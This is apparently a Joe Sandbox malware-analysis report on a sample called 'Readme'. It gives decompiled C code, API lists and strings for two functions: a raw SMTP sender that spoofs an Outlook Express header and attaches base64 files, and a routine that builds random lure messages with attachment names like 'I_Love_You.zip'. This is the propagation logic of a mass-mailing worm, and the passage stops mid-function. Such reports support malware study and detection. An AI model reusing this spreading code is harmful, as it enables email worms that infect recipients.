0x00408124
0x00408126
0x00408143
0x00000000
0x00408145
0x0040812d
0x0040813c
0x0040813f
0x00408140
0x00408140
0x00000000
0x0040812d
0x00408080
0x00408092
0x004080a5
0x004080b8
0x004080cb
0x004080de
0x004080f1
0x00408104
0x00408114
0x00408117
0x00408118
0x0040811b
0x00000000
0x00408080
0x0040814b

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3d0b7e61a7e0f158f6548a92a2f43dbdbcd8d125c1078b28183cb31cd010d6
Instruction ID: 9c05cf5a85e7654c7ef1fb60a5b3b1c4a63033b36bcc4beae51a79014b3c43b6
Opcode Fuzzy Hash: 7b3d0b7e61a7e0f158f6548a92a2f43dbdbcd8d125c1078b28183cb31cd010d6
Instruction Fuzzy Hash: F63175313141761BCB1D8D2F94D01B67BD2A79B343389426AE8D2D72C5C928A926DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040619A Relevance: 100.1, APIs: 24, Strings: 33, Instructions: 328
networkstringtimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040619A(void* __edx, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _v16;
				intOrPtr _v40;
				int _v42;
				char _v44;
				void _v1068;
				char _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				void _v1228;
				struct _SYSTEMTIME _v1244;
				int _v1248;
				void* _v1252;
				intOrPtr _v1256;
				void* _v1260;
				intOrPtr _v1264;
				void* _v1268;
				CHAR* _v1272;
				CHAR* _v1276;
				void* _v1280;
				signed int _v1284;
				signed int _v1288;
				intOrPtr _v1292;
				signed int _v1296;
				char _v1300;
				void* _v1304;
				intOrPtr _v1308;
				CHAR* _v1312;
				char _v1316;
				CHAR* _v1320;
				CHAR* _v1324;
				CHAR* _v1328;
				void* __ebx;
				int _t137;
				int _t138;
				char _t139;
				char* _t140;
				CHAR* _t166;
				void* _t193;
				CHAR* _t195;
				CHAR* _t200;
				CHAR* _t202;
				void* _t203;
				void* _t208;
				void* _t209;
				CHAR* _t215;
				void* _t216;
				void* _t217;
				CHAR** _t222;
				CHAR** _t226;

				_t208 = __edx;
				memset( &_v1068, 0, 0x400);
				_t209 =  &_v1132;
				asm("cld");
				memset(_t209, 0, 0xc << 2);
				 *((short*)(_t209 + 0xc)) = 0;
				_v1164 = 0x412620;
				_v1160 = 0x412624;
				_v1156 = 0x412628;
				_v1152 = 0x41262c;
				_v1148 = 0x412630;
				_v1144 = 0x412634;
				_v1140 = 0x412638;
				_v1136 = 0x41263c;
				memcpy( &_v1228, 0x40d424, 0xd << 2);
				GetSystemTime( &_v1244);
				_v1276 = _v1244.wSecond & 0x0000ffff;
				_v1280 = _v1244.wMinute & 0x0000ffff;
				_v1284 = _v1244.wHour & 0x0000ffff;
				_v1288 = _v1244.wYear & 0x0000ffff;
				_v1292 =  *((intOrPtr*)(_t216 + (_v1244.wMonth & 0x0000ffff) * 4 - 0x4c8));
				_v1296 = _v1244.wDay & 0x0000ffff;
				_v1300 =  *((intOrPtr*)(_t216 + (_v1244.wDayOfWeek & 0x0000ffff) * 4 - 0x488));
				_t137 = wsprintfA( &_v1132, "%s, %d %s %d %d:%d:%d GMT");
				_v1292 = 6;
				_v1296 = 1;
				_v1300 = 2;
				L00408708();
				_t222 = _t217 - 0x50c + 0x18 - 0xfffffffffffffff8;
				_t215 = _t137;
				if(_t137 == 0xffffffff) {
					L39:
					_v1312 = _t215;
					L004086C0();
					_t138 = 0;
				} else {
					_v44 = 2;
					_v1312 = 0x19;
					L004086F8();
					_v42 = _t137;
					_t139 = _a4;
					_v1316 = _t139;
					L004086E8();
					_t226 = _t222;
					_v40 = _t139;
					if(_t139 != 0xffffffff) {
						L4:
						_v1312 = 0x10;
						_t140 =  &_v44;
						_v1316 = _t140;
						_v1320 = _t215;
						L00408710();
						_t222 = _t226 - 0xc;
						if(_t140 == 0xffffffff) {
							goto L39;
						} else {
							 *_t222 = _t215;
							if(E004067E0(0) == 0) {
								goto L39;
							} else {
								_v1324 = _a4;
								_v1328 = "HELO %s\r\n";
								_t200 =  &_v1068;
								 *_t222 = _t200;
								if(E00406788(wsprintfA(??, ??), _t215, _t200) == 0) {
									goto L39;
								} else {
									_v1316 = _a8;
									if(E00406788(wsprintfA(_t200, "MAIL FROM: <%s>\r\n"), _t215, _t200) == 0) {
										goto L39;
									} else {
										_v1308 = _a12;
										if(E00406788(wsprintfA(_t200, "RCPT TO: <%s>\r\n"), _t215, _t200) == 0 || E00406788(_t150, _t215, "DATA\r\n") == 0) {
											goto L39;
										} else {
											_v1300 = _a8;
											if(E00406746(wsprintfA(_t200, "FROM: <%s>\r\n"), _t200, _t215, _t200) == 0) {
												goto L39;
											} else {
												_v1292 = _a12;
												if(E00406746(wsprintfA(_t200, "TO: <%s>\r\n"), _t200, _t215, _t200) == 0) {
													goto L39;
												} else {
													_v1284 =  &_v1132;
													if(E00406746(wsprintfA(_t200, "Date: %s\r\n"), _t200, _t215, _t200) == 0 || E00406746(_t160, _t200, _t215, "MIME-Version: 1.0\r\n") == 0) {
														goto L39;
													} else {
														_v1276 = _a16;
														if(E00406746(wsprintfA(_t200, "Subject: %s\r\n"), _t200, _t215, _t200) == 0 || E00406746(_t164, _t200, _t215, "X-Mailer: Microsoft Outlook Express 6.00.2800.1106\r\n") == 0) {
															goto L39;
														} else {
															_t166 = _a24;
															_v1276 = _t166;
															L0040C310();
															_t222 = _t222 - 4;
															if(_t166 == 0) {
																if(E00406746(_t166, _t200, _t215, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0 || E00406746(_t167, _t200, _t215, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																	goto L39;
																} else {
																	_v1272 = _a20;
																	_v1276 = "\r\n%s\r\n";
																	_v1280 =  &_v1068;
																	if(E00406746(wsprintfA(??, ??),  &_v1068, _t215,  &_v1068) == 0) {
																		goto L39;
																	} else {
																		goto L36;
																	}
																}
															} else {
																if(E00406746(_t166, _t200, _t215, "Content-type: Multipart/Mixed; boundary=xContext\r\n") == 0 || E00406746(_t174, _t200, _t215, "\r\n--xContext\r\n") == 0) {
																	goto L39;
																} else {
																	if(_a32 == 0) {
																		if(E00406746(_t175, _t200, _t215, "Content-type: text/plain; charset=ISO-8859-1\r\n") == 0) {
																			goto L39;
																		} else {
																			goto L23;
																		}
																	} else {
																		if(E00406746(_t175, _t200, _t215, "Content-type: text/plain; charset=Windows-1251\r\n") == 0) {
																			goto L39;
																		} else {
																			L23:
																			if(E00406746(_t176, _t200, _t215, "Content-Transfer-Encoding: 8bit\r\n") == 0) {
																				goto L39;
																			} else {
																				_v1272 = _a20;
																				_v1276 = "\r\n%s\r\n";
																				_t202 =  &_v1068;
																				_v1280 = _t202;
																				if(E00406746(wsprintfA(??, ??), _t202, _t215, _t202) == 0 || E00406746(_t180, _t202, _t215, "\r\n--xContext\r\n") == 0) {
																					goto L39;
																				} else {
																					_v1264 = _a28;
																					if(E00406746(wsprintfA(_t202, "Content-type: Application/Octet-stream; name=\"%s\"; type:unknown\r\n"), _t202, _t215, _t202) == 0) {
																						goto L39;
																					} else {
																						_v1256 = _a28;
																						if(E00406746(wsprintfA(_t202, "Content-Disposition: attachment; filename=\"%s\"\r\n"), _t202, _t215, _t202) == 0 || E00406746(_t187, _t202, _t215, "Content-Transfer-Encoding: base64\r\n\r\n") == 0) {
																							goto L39;
																						} else {
																							_v1248 = 0;
																							_t203 = E004017F8(_t208, _a24,  &_v1248);
																							if(E00406746(_t191, _t203, _t215, _t191) != 0) {
																								_t193 = GlobalFree(_t203);
																								_t222 = _t222 - 4;
																								if(E00406746(_t193, _t203, _t215, "\r\n\r\n--xContext--\r\n") == 0) {
																									goto L39;
																								} else {
																									L36:
																									if(E00406788(_t171, _t215, "\r\n.\r\n") == 0 || E00406788(_t172, _t215, "QUIT\r\n") == 0) {
																										goto L39;
																									} else {
																										_v1272 = _t215;
																										L004086C0();
																										_t138 = 1;
																									}
																								}
																							} else {
																								GlobalFree(_t203);
																								_t222 = _t222 - 4;
																								goto L39;
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t195 = _a4;
						_v1320 = _t195;
						L004086D8();
						_t222 = _t226 - 4;
						if(_t195 == 0) {
							goto L39;
						} else {
							_v40 =  *((intOrPtr*)( *(_t195[0xc])));
							goto L4;
						}
					}
				}
				return _t138;
			}

0x0040619a
0x004061c4
0x004061c9
0x004061cf
0x004061d7
0x004061d9
0x004061de
0x004061e8
0x004061f2
0x004061fc
0x00406206
0x00406210
0x0040621a
0x00406224
0x0040623e
0x00406249
0x00406258
0x00406263
0x0040626e
0x00406279
0x0040628b
0x00406296
0x004062a8
0x004062bd
0x004062c2
0x004062ca
0x004062d2
0x004062d9
0x004062de
0x004062e1
0x004062e6
0x0040672e
0x0040672e
0x00406731
0x00406739
0x004062ec
0x004062ec
0x004062f2
0x004062f9
0x00406301
0x00406305
0x00406308
0x0040630b
0x00406310
0x00406313
0x00406319
0x0040633b
0x0040633b
0x00406343
0x00406346
0x0040634a
0x0040634d
0x00406352
0x00406358
0x00000000
0x0040635e
0x0040635e
0x00406368
0x00000000
0x0040636e
0x00406371
0x00406375
0x0040637d
0x00406383
0x00406399
0x00000000
0x0040639f
0x004063a2
0x004063c4
0x00000000
0x004063ca
0x004063cd
0x004063ef
0x00000000
0x0040640d
0x00406410
0x00406432
0x00000000
0x00406438
0x0040643b
0x0040645d
0x00000000
0x00406463
0x00406469
0x0040648b
0x00000000
0x004064a9
0x004064ac
0x004064ce
0x00000000
0x004064ec
0x004064ec
0x004064ef
0x004064f2
0x004064f7
0x004064fc
0x004066b1
0x00000000
0x004066c7
0x004066ca
0x004066ce
0x004066dc
0x004066f2
0x00000000
0x00000000
0x00000000
0x00000000
0x004066f2
0x00406502
0x00406514
0x00000000
0x00406532
0x00406536
0x00406564
0x00000000
0x00000000
0x00000000
0x00000000
0x00406538
0x0040654a
0x00000000
0x00406550
0x0040656a
0x0040657c
0x00000000
0x00406582
0x00406585
0x00406589
0x00406591
0x00406597
0x004065ad
0x00000000
0x004065cb
0x004065ce
0x004065f0
0x00000000
0x004065f6
0x004065f9
0x0040661b
0x00000000
0x00406639
0x00406639
0x00406658
0x00406668
0x0040667d
0x00406682
0x00406697
0x00000000
0x0040669d
0x004066f4
0x00406706
0x00000000
0x0040671c
0x0040671c
0x0040671f
0x00406727
0x00406727
0x00406706
0x0040666a
0x0040666d
0x00406672
0x00000000
0x00406672
0x00406668
0x0040661b
0x004065f0
0x004065ad
0x0040657c
0x0040654a
0x00406536
0x00406514
0x004064fc
0x004064ce
0x0040648b
0x0040645d
0x00406432
0x004063ef
0x004063c4
0x00406399
0x00406368
0x0040631b
0x0040631b
0x0040631e
0x00406321
0x00406326
0x0040632b
0x00000000
0x00406331
0x00406338
0x00000000
0x00406338
0x0040632b
0x00406319
0x00406745

APIs

memset.MSVCRT ref: 004061C4
GetSystemTime.KERNEL32 ref: 00406249
wsprintfA.USER32 ref: 004062BD
socket.WS2_32 ref: 004062D9
htons.WS2_32 ref: 004062F9
inet_addr.WS2_32 ref: 0040630B
gethostbyname.WS2_32 ref: 00406321
connect.WS2_32 ref: 0040634D
wsprintfA.USER32 ref: 00406386
wsprintfA.USER32 ref: 004063B1
wsprintfA.USER32 ref: 004063DC
wsprintfA.USER32 ref: 0040641F
wsprintfA.USER32 ref: 0040644A
wsprintfA.USER32 ref: 00406478
wsprintfA.USER32 ref: 004064BB
lstrlen.KERNEL32 ref: 004064F2
wsprintfA.USER32 ref: 0040659A
wsprintfA.USER32 ref: 004065DD
wsprintfA.USER32 ref: 00406608
GlobalFree.KERNEL32 ref: 0040666D
GlobalFree.KERNEL32 ref: 0040667D
wsprintfA.USER32 ref: 004066DF
closesocket.WS2_32 ref: 0040671F

Part of subcall function 00406746: lstrlen.KERNEL32 ref: 00406753
Part of subcall function 00406746: send.WS2_32 ref: 00406771

closesocket.WS2_32 ref: 00406731

Strings

Wed, xrefs: 004061FC
Content-Transfer-Encoding: base64, xrefs: 00406621
Fri, xrefs: 00406210
TO: <%s>, xrefs: 0040643F
Thu, xrefs: 00406206
MAIL FROM: <%s>, xrefs: 004063A6
Content-type: text/plain; charset=Windows-1251, xrefs: 00406538
Content-Disposition: attachment; filename="%s", xrefs: 004065FD
X-Mailer: Microsoft Outlook Express 6.00.2800.1106, xrefs: 004064D4
RCPT TO: <%s>, xrefs: 004063D1
FROM: <%s>, xrefs: 00406414
QUIT, xrefs: 00406708
--xContext, xrefs: 0040651A, 004065B3
%s, %d %s %d %d:%d:%d GMT, xrefs: 004062AC
Content-type: Multipart/Mixed; boundary=xContext, xrefs: 00406502
Content-type: text/plain; charset=ISO-8859-1, xrefs: 00406552, 0040669F
., xrefs: 004066F4
---, xrefs: 004061DE
&A, xrefs: 00406234
Date: %s, xrefs: 0040646D
MIME-Version: 1.0, xrefs: 00406491
Content-type: Application/Octet-stream; name="%s"; type:unknown, xrefs: 004065D2
--xContext--, xrefs: 00406685
Subject: %s, xrefs: 004064B0
Mon, xrefs: 004061E8
DATA, xrefs: 004063F5
&A$&A(&A,&A0&A4&A8&A<&A, xrefs: 004062A1
Sun, xrefs: 00406224
HELO %s, xrefs: 00406375
Tue, xrefs: 004061F2
%s, xrefs: 00406589, 004066CE
Sat, xrefs: 0040621A
Content-Transfer-Encoding: 8bit, xrefs: 0040656A, 004066B3

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: wsprintf$FreeGlobalclosesocketlstrlen$SystemTimeconnectgethostbynamehtonsinet_addrmemsetsendsocket
String ID: --xContext--$%s$--xContext$.$ &A$ &A$&A(&A,&A0&A4&A8&A<&A$%s, %d %s %d %d:%d:%d GMT$---$Content-Disposition: attachment; filename="%s"$Content-Transfer-Encoding: 8bit$Content-Transfer-Encoding: base64$Content-type: Application/Octet-stream; name="%s"; type:unknown$Content-type: Multipart/Mixed; boundary=xContext$Content-type: text/plain; charset=ISO-8859-1$Content-type: text/plain; charset=Windows-1251$DATA$Date: %s$FROM: <%s>$Fri$HELO %s$MAIL FROM: <%s>$MIME-Version: 1.0$Mon$QUIT$RCPT TO: <%s>$Sat$Subject: %s$Sun$TO: <%s>$Thu$Tue$Wed$X-Mailer: Microsoft Outlook Express 6.00.2800.1106
API String ID: 1487464711-219272833
Opcode ID: 666c0d740a43bd74909cf6117d8f5958c059585b5faa14fa9939e6f1f40405de
Instruction ID: 6e52e2717ca3ea0a11f7245c2747809bb71ce8739c615a88298817d05e4ee505
Opcode Fuzzy Hash: 666c0d740a43bd74909cf6117d8f5958c059585b5faa14fa9939e6f1f40405de
Instruction Fuzzy Hash: 53E12BB44087118AD710AF25D68429EBBF4AF44748F02897EF8C9A7385D77CC9A4CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402288 Relevance: 79.8, APIs: 43, Strings: 10, Instructions: 346
stringsleepCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402288(void* __eax, char _a4) {
				void* _v16;
				char _v76;
				char _v188;
				char _v300;
				char _v508;
				char _v780;
				char _v812;
				char _v1068;
				int _v1072;
				signed int _v1088;
				void* _v1128;
				char _v1132;
				void* _v1136;
				int _v1140;
				intOrPtr _v1148;
				int _v1152;
				char* _v1156;
				void* _v1160;
				char* _v1164;
				void* _v1168;
				void* _v1172;
				void* _v1180;
				void* _v1188;
				void* _v1196;
				char* _v1204;
				signed int _v1208;
				char* _v1212;
				void* _t350;
				void* _t351;
				signed int _t352;
				void* _t353;
				signed int _t354;
				int _t358;
				void* _t359;
				char _t363;
				void* _t365;
				void* _t367;
				intOrPtr* _t369;
				void** _t370;
				intOrPtr* _t374;

				_v1072 = 0;
				_t363 = _a4;
				_v1132 = _t363;
				L0040C310();
				_t367 = _t365 - 0x458;
				_t358 = 0;
				if(__eax <= 0x64) {
					_t350 =  &_v1068;
					memset(_t350, 0, 0xfa);
					_v1132 = _t363;
					_v1136 = _t350;
					L0040C320();
					_t369 = _t367 - 8;
					_v1140 = "mvcsv.qyy";
					_t351 =  &_v812;
					 *_t369 = _t351;
					E00404C38();
					_v1136 = _t351;
					_v1140 = 0x104;
					 *_t369 =  &_v780;
					E00404620();
					 *_t369 = 6;
					_t352 = E00404EAE();
					 *_t369 = 6;
					_v1088 = E00404EAE();
					while(_t352 == _v1088) {
						 *_t369 = 0xa;
						Sleep(??);
						_t369 = _t369 - 4;
						 *_t369 = 6;
						_v1088 = E00404EAE();
					}
					_v1136 = 0xc8;
					_v1140 = 0;
					 *_t369 =  &_v508;
					memset(??, ??, ??);
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t369 =  &_v300;
					memset(??, ??, ??);
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t369 =  &_v188;
					memset(??, ??, ??);
					_t359 =  &_v76;
					asm("cld");
					memset(_t359, 0, 0xa << 2);
					_t370 = _t369 + 0xc;
					_v1140 =  *(0x40d0c4 + _t352 * 4);
					_t353 = _t359;
					 *_t370 = _t359;
					L0040C328();
					_v1148 = 0x40ed9b;
					_v1152 = _t353;
					L0040C328();
					_v1156 =  *((intOrPtr*)(0x40d0c4 + _v1088 * 4));
					_v1160 = _t353;
					L0040C328();
					_v1164 = 0x40ed9d;
					_v1168 = _t353;
					L0040C328();
					_t374 = _t370 - 0xfffffffffffffff0;
					 *_t374 = 0x12;
					_t354 = E00404EAE();
					_v1172 = 0x40eda2;
					 *_t374 =  &_v1068;
					if(strstr(??, ??) != 0) {
						 *_t374 = 8;
						_t354 = E00404EAE() + 0x12;
					}
					if(_t354 <= 0x19) {
						switch( *((intOrPtr*)(_t354 * 4 +  &M0040EE08))) {
							case 0:
								_v1172 =  *((intOrPtr*)(0x40d0e0 + _t354 * 4));
								 *_t374 =  &_v188;
								L0040C328();
								_t375 = _t374 - 8;
								 *_t375 = 8;
								_v1180 =  *((intOrPtr*)(0x40d080 + E00404EAE() * 4));
								 *_t375 =  &_v508;
								L0040C328();
								_t376 = _t375 - 8;
								 *_t376 = 2;
								_v1188 = 0x40d148[E00404EAE()];
								 *_t376 =  &_v300;
								L0040C328();
								_t374 = _t376 - 8;
								goto L31;
							case 1:
								__eax =  *0x40d150;
								_v1172 =  *0x40d150;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1180 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1188 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 2:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d154; // 0x40eb4e
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 3:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d158; // 0x40eb5f
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 4:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d15c; // 0x40eb73
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 5:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d160; // 0x40eb86
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 6:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d098; // 0x40e5e0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 7:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d09c; // 0x40e618
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 8:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d08c; // 0x40e558
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 9:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d088; // 0x40e508
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xa:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a0; // 0x40e64c
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								_v1188 = "admin@bigtits.com";
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xb:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xc:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a4; // 0x40e688
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "I_Love_You.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xd:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a8; // 0x40e6b2
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "Happy_birthday_to_you.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xe:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0xf:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b4; // 0x40e785
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								if(E00404EAE(2) != 0) {
									__eax = E00404EAE(0x16);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
